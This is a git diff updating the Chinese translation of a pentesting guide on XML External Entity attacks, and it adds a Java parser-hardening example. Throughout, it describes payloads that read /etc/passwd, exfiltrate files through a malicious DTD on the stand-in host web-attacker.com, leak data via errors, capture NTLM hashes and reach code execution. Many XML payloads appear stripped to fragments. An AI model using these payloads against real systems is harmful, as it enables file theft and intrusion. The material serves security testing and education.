diff --git a/src/pentesting-web/xxe-xee-xml-external-entity.md b/src/pentesting-web/xxe-xee-xml-external-entity.md index e55dda971..99b929295 100644 --- a/src/pentesting-web/xxe-xee-xml-external-entity.md +++ b/src/pentesting-web/xxe-xee-xml-external-entity.md @@ -1,31 +1,26 @@ # XXE - XEE - XML External Entity -{{#include /banners/hacktricks-training.md}} - -- [Dojo CTF Challenge #42 – Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42) -- [lxml bug #2107279 – Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279) - {{#include ../banners/hacktricks-training.md}} -## XML 基础 +## XML基础 -XML 是一种用于数据存储和传输的标记语言,具有灵活的结构,允许使用描述性命名的标签。它与 HTML 的不同之处在于不受限于一组预定义标签。尽管 XML 在 AJAX 技术中的初始作用显著,但随着 JSON 的兴起,其重要性有所下降。 +XML是一种用于数据存储和传输的标记语言,具有灵活的结构,允许使用描述性命名的标签。它与HTML的不同之处在于不受限于一组预定义的标签。尽管XML在AJAX技术中的初始作用显著,但随着JSON的兴起,其重要性已下降。 -- **通过实体表示数据**:XML 中的实体使得数据的表示成为可能,包括特殊字符如 `<` 和 `>`,它们分别对应于 `<` 和 `>`,以避免与 XML 的标签系统发生冲突。 -- **定义 XML 元素**:XML 允许定义元素类型,概述元素应如何结构化以及可以包含哪些内容,从任何类型的内容到特定的子元素。 -- **文档类型定义 (DTD)**:DTD 在 XML 中对于定义文档的结构和可以包含的数据类型至关重要。它们可以是内部的、外部的或两者的组合,指导文档的格式和验证方式。 -- **自定义和外部实体**:XML 支持在 DTD 中创建自定义实体,以实现灵活的数据表示。外部实体通过 URL 定义,带来了安全隐患,特别是在 XML 外部实体 (XXE) 攻击的背景下,这些攻击利用了 XML 解析器处理外部数据源的方式:` ]>` -- **使用参数实体检测 XXE**:为了检测 XXE 漏洞,特别是在常规方法因解析器安全措施而失败时,可以利用 XML 参数实体。这些实体允许使用带外检测技术,例如触发 DNS 查找或向受控域发出 HTTP 请求,以确认漏洞。 +- **通过实体表示数据**:XML中的实体使得数据的表示成为可能,包括特殊字符如`<`和`>`,它们分别对应于`<`和`>`,以避免与XML的标签系统发生冲突。 +- **定义XML元素**:XML允许定义元素类型,概述元素应如何结构化以及可以包含哪些内容,从任何类型的内容到特定的子元素。 +- **文档类型定义(DTD)**:DTD在XML中对于定义文档的结构和可以包含的数据类型至关重要。它们可以是内部的、外部的或两者的组合,指导文档的格式和验证方式。 +- **自定义和外部实体**:XML支持在DTD中创建自定义实体,以实现灵活的数据表示。外部实体通过URL定义,尤其在XML外部实体(XXE)攻击的背景下引发安全问题,这些攻击利用XML解析器处理外部数据源的方式:` ]>` +- **使用参数实体检测XXE**:为了检测XXE漏洞,特别是在常规方法因解析器安全措施而失败时,可以利用XML参数实体。这些实体允许使用带外检测技术,例如触发DNS查找或向受控域发出HTTP请求,以确认漏洞。 - ` ]>` - ` ]>` ## 主要攻击 -[**这些攻击大多是在出色的 Portswiggers XEE 实验室中测试的: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe) +[**这些攻击大多数是在出色的Portswiggers XEE实验室中测试的: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe) ### 新实体测试 -在此攻击中,我将测试一个简单的新 ENTITY 声明是否有效。 +在此攻击中,我将测试一个简单的新ENTITY声明是否有效。 ```xml ]> @@ -40,7 +35,7 @@ XML 是一种用于数据存储和传输的标记语言,具有灵活的结构 让我们尝试以不同的方式读取 `/etc/passwd`。对于 Windows,你可以尝试读取: `C:\windows\system32\drivers\etc\hosts` -在这种情况下,请注意 SYSTEM "_**file:///**etc/passwd_" 也会有效。 +在这个第一个例子中,请注意 SYSTEM "_**file:///**etc/passwd_" 也会有效。 ```xml ]> @@ -98,7 +93,7 @@ XXE 可以被用来滥用云中的 SSRF **在这种情况下,我们将使服务器加载一个带有恶意负载的新 DTD,该负载将通过 HTTP 请求发送文件的内容(对于多行文件,您可以尝试通过 \_ftp://**\_ 来提取,例如使用这个基本服务器 [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**)。这个解释基于** [**Portswiggers 实验室**](https://portswigger.net/web-security/xxe/blind)**。** -在给定的恶意 DTD 中,执行了一系列步骤以提取数据: +在给定的恶意 DTD 中,执行了一系列步骤来提取数据: ### 恶意 DTD 示例: @@ -118,7 +113,7 @@ XXE 可以被用来滥用云中的 SSRF - 使用 `%eval` 实体,导致动态声明 `%exfiltrate` 实体的执行。 - 然后使用 `%exfiltrate` 实体,触发对指定 URL 的 HTTP 请求,包含文件的内容。 -攻击者将这个恶意 DTD 托管在他们控制的服务器上,通常位于类似 `http://web-attacker.com/malicious.dtd` 的 URL。 +攻击者在其控制的服务器上托管此恶意 DTD,通常位于类似 `http://web-attacker.com/malicious.dtd` 的 URL。 **XXE Payload:** 为了利用一个脆弱的应用程序,攻击者发送一个 XXE payload: ```xml @@ -126,16 +121,16 @@ XXE 可以被用来滥用云中的 SSRF %xxe;]> 3;1 ``` -这个有效负载定义了一个 XML 参数实体 `%xxe` 并将其纳入 DTD。当被 XML 解析器处理时,这个有效负载从攻击者的服务器获取外部 DTD。然后,解析器在线解释 DTD,执行恶意 DTD 中概述的步骤,导致 `/etc/hostname` 文件被外泄到攻击者的服务器。 +这个有效负载定义了一个 XML 参数实体 `%xxe` 并将其纳入 DTD。当被 XML 解析器处理时,这个有效负载从攻击者的服务器获取外部 DTD。然后解析器在线解释 DTD,执行恶意 DTD 中概述的步骤,导致 `/etc/hostname` 文件被外泄到攻击者的服务器。 ### 基于错误的(外部 DTD) **在这种情况下,我们将使服务器加载一个恶意 DTD,该 DTD 将在错误消息中显示文件的内容(仅在您可以看到错误消息时有效)。** [**示例来自这里。**](https://portswigger.net/web-security/xxe/blind) -可以通过恶意外部文档类型定义(DTD)触发 XML 解析错误消息,揭示 `/etc/passwd` 文件的内容。这是通过以下步骤完成的: +可以通过恶意外部文档类型定义(DTD)触发一个 XML 解析错误消息,揭示 `/etc/passwd` 文件的内容。这是通过以下步骤完成的: 1. 定义一个名为 `file` 的 XML 参数实体,其中包含 `/etc/passwd` 文件的内容。 -2. 定义一个名为 `eval` 的 XML 参数实体,包含对另一个 XML 参数实体 `error` 的动态声明。当评估这个 `error` 实体时,它尝试加载一个不存在的文件,将 `file` 实体的内容作为其名称。 +2. 定义一个名为 `eval` 的 XML 参数实体,包含对另一个 XML 参数实体 `error` 的动态声明。当评估这个 `error` 实体时,尝试加载一个不存在的文件,将 `file` 实体的内容作为其名称。 3. 调用 `eval` 实体,导致 `error` 实体的动态声明。 4. 调用 `error` 实体导致尝试加载一个不存在的文件,产生一个错误消息,其中包含 `/etc/passwd` 文件的内容作为文件名的一部分。 @@ -151,11 +146,11 @@ XXE 可以被用来滥用云中的 SSRF _**请注意,外部 DTD 允许我们在第二个 `eval` 中包含一个实体,但在内部 DTD 中是禁止的。因此,通常情况下,您无法在不使用外部 DTD 的情况下强制产生错误。**_ -### **基于错误 (系统 DTD)** +### **基于错误的 (系统 DTD)** 那么,当 **出带交互被阻止**(外部连接不可用)时,盲 XXE 漏洞怎么办? -XML 语言规范中的一个漏洞可以 **通过错误消息暴露敏感数据,当文档的 DTD 混合内部和外部声明时**。这个问题允许内部重新定义外部声明的实体,从而促进基于错误的 XXE 攻击的执行。这种攻击利用了从内部 DTD 中重新定义原本在外部 DTD 中声明的 XML 参数实体。当服务器阻止出带连接时,攻击者必须依赖本地 DTD 文件进行攻击,旨在诱发解析错误以揭示敏感信息。 +XML 语言规范中的一个漏洞可以 **通过错误消息暴露敏感数据,当文档的 DTD 混合内部和外部声明时**。这个问题允许内部重新定义外部声明的实体,从而促进基于错误的 XXE 攻击的执行。这种攻击利用了一个 XML 参数实体的重新定义,该实体最初在外部 DTD 中声明,从内部 DTD 中进行重新定义。当服务器阻止出带连接时,攻击者必须依赖本地 DTD 文件进行攻击,旨在诱发解析错误以揭示敏感信息。 考虑一个场景,其中服务器的文件系统包含一个位于 `/usr/local/app/schema.dtd` 的 DTD 文件,定义了一个名为 `custom_entity` 的实体。攻击者可以通过提交一个混合 DTD 来诱发 XML 解析错误,从而揭示 `/etc/passwd` 文件的内容,如下所示: ```xml @@ -176,7 +171,7 @@ XML 语言规范中的一个漏洞可以 **通过错误消息暴露敏感数据 - 对 `custom_entity` XML 参数实体进行重新定义,该实体最初在外部 DTD 中定义,以封装一个 [基于错误的 XXE 漏洞](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)。此重新定义旨在引发解析错误,从而暴露 `/etc/passwd` 文件的内容。 - 通过使用 `local_dtd` 实体,外部 DTD 被调用,包含新定义的 `custom_entity`。这一系列操作导致了漏洞所针对的错误消息的发出。 -**现实世界示例:** 使用 GNOME 桌面环境的系统通常在 `/usr/share/yelp/dtd/docbookx.dtd` 处有一个 DTD,其中包含一个名为 `ISOamso` 的实体。 +**现实世界示例:** 使用 GNOME 桌面环境的系统通常在 `/usr/share/yelp/dtd/docbookx.dtd` 处具有一个 DTD,其中包含一个名为 `ISOamso` 的实体。 ```xml ) -由于此技术使用**内部 DTD,您需要先找到一个有效的 DTD**。您可以通过**安装**服务器使用的相同**操作系统/软件**并**搜索一些默认 DTD**,或者**获取系统内的默认 DTD 列表**并**检查**它们是否存在: +由于此技术使用**内部 DTD,您需要先找到一个有效的 DTD**。您可以通过**安装**服务器正在使用的相同**操作系统/软件**并**搜索一些默认 DTD**,或者**获取系统内的默认 DTD 列表**并**检查**它们是否存在: ```xml @@ -210,7 +205,7 @@ XML 语言规范中的一个漏洞可以 **通过错误消息暴露敏感数据 https://github.com/GoSecure/dtd-finder/tree/master/list {{#endref}} -此外,如果您拥有 **受害者系统的 Docker 镜像**,您可以使用同一仓库的工具来 **扫描** 该 **镜像** 并 **查找** 系统中存在的 **DTD** 路径。请阅读 [GitHub 的 Readme](https://github.com/GoSecure/dtd-finder) 以了解如何操作。 +此外,如果您拥有 **受害者系统的 Docker 镜像**,您可以使用同一仓库的工具来 **扫描** **镜像** 并 **查找** 系统中存在的 **DTD** 路径。请阅读 [GitHub 的自述文件](https://github.com/GoSecure/dtd-finder) 以了解如何操作。 ```bash java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar @@ -228,7 +223,7 @@ Testing 0 entities : [] 许多网络应用程序提供**上传 Microsoft Office 文档的功能**,然后提取这些文档中的某些细节。例如,网络应用程序可能允许用户通过上传 XLSX 格式的电子表格来导入数据。为了让解析器从电子表格中提取数据,它不可避免地需要解析至少一个 XML 文件。 -要测试此漏洞,需要创建一个**包含 XXE 有效负载的 Microsoft Office 文件**。第一步是创建一个空目录,以便将文档解压缩到该目录中。 +要测试此漏洞,需要创建一个**包含 XXE 有效负载的 Microsoft Office 文件**。第一步是创建一个空目录,以便将文档解压缩到其中。 一旦文档被解压缩,位于 `./unzipped/word/document.xml` 的 XML 文件应在首选文本编辑器(如 vim)中打开并编辑。XML 应修改以包含所需的 XXE 有效负载,通常以 HTTP 请求开头。 @@ -256,7 +251,7 @@ jar:https://download.host.com/myarchive.zip!/file.txt 4. 读取存档中的特定文件 `file.zip`。 5. 操作完成后,删除在此过程中创建的任何临时文件。 -在第二步中中断此过程的一个有趣技术是保持服务器连接在提供存档文件时无限期打开。可以利用 [这个仓库](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) 中的工具来实现这一点,包括一个 Python 服务器 (`slow_http_server.py`) 和一个 Java 服务器 (`slowserver.jar`)。 +在第二步中中断此过程的一个有趣技术是,在提供存档文件时无限期保持服务器连接打开。可以利用 [这个仓库](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) 中的工具来实现这一点,包括一个 Python 服务器 (`slow_http_server.py`) 和一个 Java 服务器 (`slowserver.jar`)。 ```xml ]> &xxe; @@ -311,11 +306,11 @@ Responder.py -I eth0 -v ``` 然后你可以尝试使用 hashcat 破解哈希 -## 隐藏的 XXE 表现 +## 隐藏的 XXE 表面 ### XInclude -在将客户端数据集成到服务器端 XML 文档中时,例如后端 SOAP 请求中的文档,通常对 XML 结构的直接控制是有限的,这使得由于对 `DOCTYPE` 元素的修改限制,传统的 XXE 攻击受到阻碍。然而,`XInclude` 攻击提供了解决方案,通过允许在 XML 文档的任何数据元素中插入外部实体。这种方法在只能控制服务器生成的 XML 文档中的一部分数据时也有效。 +在将客户端数据集成到服务器端 XML 文档中时,例如后端 SOAP 请求中的文档,通常对 XML 结构的直接控制是有限的,这使得由于对 `DOCTYPE` 元素的修改限制而阻碍了传统的 XXE 攻击。然而,`XInclude` 攻击提供了解决方案,通过允许在 XML 文档的任何数据元素中插入外部实体。即使只能控制服务器生成的 XML 文档中的一部分数据,这种方法也是有效的。 要执行 `XInclude` 攻击,必须声明 `XInclude` 命名空间,并指定所需外部实体的文件路径。以下是如何制定此类攻击的简洁示例: ```xml @@ -325,7 +320,7 @@ productId= +ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4- @@ -485,7 +480,7 @@ XLIFF (XML 本地化交换文件格式) 用于标准化本地化过程中的数 ### Blind Request Analysis -向服务器发送了以下内容的请求: +向服务器发送以下内容的请求: ```xml ------WebKitFormBoundaryqBdAsEtYaBjTArl3 Content-Disposition: form-data; name="file"; filename="xxe.xliff" @@ -519,16 +514,16 @@ Content-Type: application/x-xliff+xml ------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ``` -这种方法揭示了用户代理指示使用 Java 1.8。该版本 Java 的一个显著限制是无法使用带外技术检索包含换行符的文件,例如 /etc/passwd。 +这种方法揭示了用户代理指示使用 Java 1.8。这个版本的 Java 的一个显著限制是无法使用带外技术检索包含换行符的文件,例如 /etc/passwd。 -基于错误的数据外泄 为了克服这一限制,采用了基于错误的方法。DTD 文件的结构如下,以触发包含目标文件数据的错误: +基于错误的数据外泄 为了克服这个限制,采用了基于错误的方法。DTD 文件的结构如下,以触发包含目标文件数据的错误: ```xml "> %foo; %xxe; ``` -服务器响应错误,重要的是反映出不存在的文件,表明服务器正在尝试访问指定的文件: +服务器响应错误,重要的是反映了不存在的文件,表明服务器正在尝试访问指定的文件: ```javascript {"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"} ``` @@ -614,7 +609,7 @@ Content-Type: application/x-xliff+xml ``` ## Java XMLDecoder XEE to RCE -XMLDecoder 是一个 Java 类,用于根据 XML 消息创建对象。如果恶意用户能够使应用程序在调用 **readObject** 方法时使用任意数据,他将立即获得服务器上的代码执行权限。 +XMLDecoder 是一个 Java 类,它根据 XML 消息创建对象。如果恶意用户能够让应用程序在调用 **readObject** 方法时使用任意数据,他将立即获得服务器上的代码执行权限。 ### Using Runtime().exec() ```xml @@ -689,15 +684,15 @@ https://github.com/luisfontes19/xxexploiter ### Python lxml 参数实体 XXE (基于错误的文件泄露) > [!INFO] -> Python 库 **lxml** 在底层使用 **libxml2**。 版本低于 **lxml 5.4.0 / libxml2 2.13.8** 仍然会扩展 *参数* 实体,即使 `resolve_entities=False`,当应用程序启用 `load_dtd=True` 和/或 `resolve_entities=True` 时,这些实体仍然可以被访问。这允许基于错误的 XXE 有效载荷将本地文件的内容嵌入到解析器错误消息中。 +> Python 库 **lxml** 在底层使用 **libxml2**。 版本低于 **lxml 5.4.0 / libxml2 2.13.8** 的仍然会扩展 *参数* 实体,即使 `resolve_entities=False`,当应用程序启用 `load_dtd=True` 和/或 `resolve_entities=True` 时,这些实体仍然可达。这允许基于错误的 XXE 有效载荷将本地文件的内容嵌入到解析器错误消息中。 #### 1. 利用 lxml < 5.4.0 1. 识别或创建一个在磁盘上的 *local* DTD,定义一个 **未定义** 的参数实体(例如 `%config_hex;`)。 2. 构造一个内部 DTD: * 使用 `` 加载本地 DTD。 * 重新定义未定义的实体,使其: -- 读取目标文件(``)。 -- 构建另一个参数实体,引用一个包含 `%flag;` 值的 **无效路径** 并触发解析器错误(`">`)。 +- 读取目标文件 (``)。 +- 构建另一个参数实体,引用一个包含 `%flag;` 值的 **无效路径** 并触发解析器错误 (`">`)。 3. 最后扩展 `%local_dtd;` 和 `%eval;`,使解析器遇到 `%error;`,无法打开 `/aaa/` 并在抛出的异常中泄露标志 – 这通常会被应用程序返回给用户。 ```xml &c; ``` #### 关键要点 -* **参数实体**即使在`resolve_entities`应该阻止XXE的情况下仍然会被libxml2扩展。 -* **无效的URI**或**不存在的文件**足以将受控数据连接到抛出的异常中。 -* 该技术在**没有出站连接**的情况下也能工作,适合严格的出站过滤环境。 +* **参数实体** 即使在 `resolve_entities` 应该阻止 XXE 的情况下仍然会被 libxml2 扩展。 +* 一个 **无效的 URI** 或 **不存在的文件** 足以将受控数据连接到抛出的异常中。 +* 该技术在 **没有出站连接** 的情况下也能工作,使其非常适合严格的出站过滤环境。 #### 缓解指导 -* 升级到**lxml ≥ 5.4.0**并确保底层的**libxml2**为**≥ 2.13.8**。 -* 除非绝对必要,否则禁用`load_dtd`和/或`resolve_entities`。 +* 升级到 **lxml ≥ 5.4.0** 并确保底层的 **libxml2** 版本为 **≥ 2.13.8**。 +* 除非绝对必要,否则禁用 `load_dtd` 和/或 `resolve_entities`。 * 避免将原始解析器错误返回给客户端。 +### Java DocumentBuilderFactory 加固示例 + +Java 应用程序经常使用 `DocumentBuilderFactory` 解析 XML。默认情况下,工厂 **允许外部实体解析**,如果没有设置额外的加固标志,则使其容易受到 XXE 和 SSRF 的攻击: +```java +DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); +DocumentBuilder builder = dbf.newDocumentBuilder(); // XXE-prone +``` +安全配置示例: +```java +DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); + +// Completely forbid any DOCTYPE declarations (best-effort defence) +dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); + +// Disable expansion of external entities +dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); +dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); + +// Enable "secure processing" which applies additional limits +dbf.setFeature(javax.xml.XMLConstants.FEATURE_SECURE_PROCESSING, true); + +// Defensive extras +dbf.setXIncludeAware(false); +dbf.setExpandEntityReferences(false); + +DocumentBuilder builder = dbf.newDocumentBuilder(); +``` +如果应用程序必须内部支持 DTD,保持 `disallow-doctype-decl` 禁用,但**始终**将两个 `external-*-entities` 特性设置为 `false`。这种组合可以防止经典的文件泄露有效载荷(`file:///etc/passwd`)以及基于网络的 SSRF 向量(`http://169.254.169.254/…`,`jar:` 协议等)。 + +真实案例研究:**CVE-2025-27136** 在 Java S3 模拟器 *LocalS3* 中使用了上述脆弱的构造函数。未经过身份验证的攻击者可以向 `CreateBucketConfiguration` 端点提供一个精心制作的 XML 主体,并使服务器在 HTTP 响应中嵌入本地文件(例如 `/etc/passwd`)。 + ## 参考文献 +- [OffSec Blog – CVE-2025-27136 LocalS3 XXE](https://www.offsec.com/blog/cve-2025-27136/) + - [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf) - [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html) -- 通过HTTP使用自己的外部DTD提取信息: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/) +- 通过 HTTP 使用自己的外部 DTD 提取信息:[https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection) - [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4) - [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)